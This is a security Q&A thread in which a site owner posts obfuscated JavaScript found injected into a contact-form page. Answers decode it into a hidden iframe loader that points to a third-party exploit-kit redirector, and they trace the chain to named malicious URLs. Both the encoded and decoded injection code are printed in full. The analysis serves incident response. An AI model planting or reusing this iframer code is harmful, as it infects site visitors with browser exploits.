Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

At the bottom of the index.php file for a simple “contact us” form, I found the following (some whitespace and newlines added):

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
z=[];
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}
eval(ss["fr"+"omCharCode"].apply(ss,z));
</script><!--/0f2490-->

Anyone know what this code does? Is this likely to be an expected part of the page, or is it a sign that the website has been hacked?

share|improve this question
4  
Yes probably that site got "hacked" –  PeeHaa Aug 10 '13 at 10:35
1  
No it is not hacked, it is obfuscation, so that you will not understand what it does. Search on google for JavaScript Obfuscation. –  Akash Kava Aug 10 '13 at 10:36
3  
@AkashKava That doesn't mean the site wasn't hacked. –  Marcin Aug 10 '13 at 10:39
    
How can I safely test that code, to see what it does? –  Edward Aug 10 '13 at 10:41
1  
@Edward: replace the last eval with console.log. –  thg435 Aug 10 '13 at 10:42
show 1 more comment

migrated from stackoverflow.com Aug 10 '13 at 12:21

This question came from our site for professional and enthusiast programmers.

3 Answers

up vote 5 down vote accepted

I found out what it does (please be lenient with me, I am not a javascript developer)

What can be easily seen, is that the script invokes String.fromCharCode() on the numbers present on the a string to create a new String, and execute it. The code the a string get's translated to is:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Now, I am not sure about that (remember I am no javascript developer) but it seems to be code that steals cookies (session hijacking perhaps)?

EDIT

On further research:

  • The script is checking if there is a specific cookie present (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation") and if it is not it creates it.
  • It then creates a new element in the document, which it modifies to make it very difficult to notice (7 pixels width, 9 pixels height), and which runs a php script available at http://ninoromano.it/DNGJxdCW.php. If you visit this, it returns "ok" and nothing else in the page's code (the domain appears to be compromised). (I can't get any more information beyond that)

Most likely it is a session hijacking attempt.

share|improve this answer
    
fiddle: jsfiddle.net/YkDWJ –  Vlad Aug 10 '13 at 11:11
    
Since this was in a index.php for a "contact us" form, what might be useful to a hacker to do session hijacking? Might it intercept the context if what the user filled out in the Contact Us form? –  Edward Aug 10 '13 at 11:22
    
Thanks. I didn't know about Security.StackExchange. –  Edward Aug 10 '13 at 11:29
    
I'm sorry, but this is incorrect. This is the iframe-loading stage of many infamous exploit kits; the cookie methods are simply to ensure that users don't load the iframe more than once. –  Anorov Aug 11 '13 at 16:59
    
@Anorov sorry, I didn't know about that one. I am by no means a security expert, and I also don't know anything web related (I'm a kernel hacker/compiler engineer). Feel free to edit my answer to correct it. :) –  NlightNFotis Aug 12 '13 at 7:26
add comment

The first time you run it, the script creates an iframe pointing at ninoromano.it. It then creates a cookie so that on subsequent times you load it, it doesn't run again.

The iframe is a browser exploit script. If you view it in a browser that it doesn't know about you just get the 'ok' string, but if you load it in, say, an older copy of IE, you get a whole bunch of exploits to infect your machine.

The site got hacked (and so did ninoromano by the looks of it). A common source of this kind of infection is client-side malware stealing server account passwords (often the same malware served by the exploits!). Whoever is responsible needs to scan all client machines that have accessed the server with multiple AVs (because AVs aren't very reliable); reinstall any infected clients from scratch; choose new server passwords; reinstall the server from scratch.

share|improve this answer
add comment

What you are looking at is a packed (obfuscated) version of an exploit kit "iframer". "iframer" just means a snippet of Javascript that will load an external iframe; in most cases the iframe will point to some part of a chain that will eventually load a browser exploit kit.

(Obviously do not directly visit any of the below links.)

If you make a request to the exploit kit landing page, hxxp://ninoromano.it/DNGJxdCW.php with a valid referer and an IE user-agent, you will be redirected to another URL.

This is the redirection stage; ninoromano.it in this case is likely part of a "TDS", traffic distribution system: its job is to split traffic to different exploit kit landing pages (or sometimes generic spamvertising) based on the referer, and sometimes the country of the client.

http://www.symantec.com/connect/blogs/web-based-malware-distribution-channels-look-traffic-redistribution-systems

The loaded URL has a pattern similar to hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm. Here is its content.

http://pastebin.com/gw20261S

Just by looking at that page, I already recognize this as the "Cool Exploit Kit". You can learn details about this exploit kit in various places:

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/ http://malware.dontneedcoffee.com/2012/10/newcoolek.html http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

Another iframe is loaded by the landing page, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

This iframe contains the bulk of the actual malicious code. It attempts various exploits, primarily Java exploits, all of which will download and execute a malicious payload.

http://urlquery.net is a fantastic site for automating this kind of analysis. Just be sure to set an IE user-agenet and some sort of referer each time.

Many different exploit kits use that flavor of JS packer you are seeing at the bottom of the page. If you see any code that looks like that, you can assume it is very malicious.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.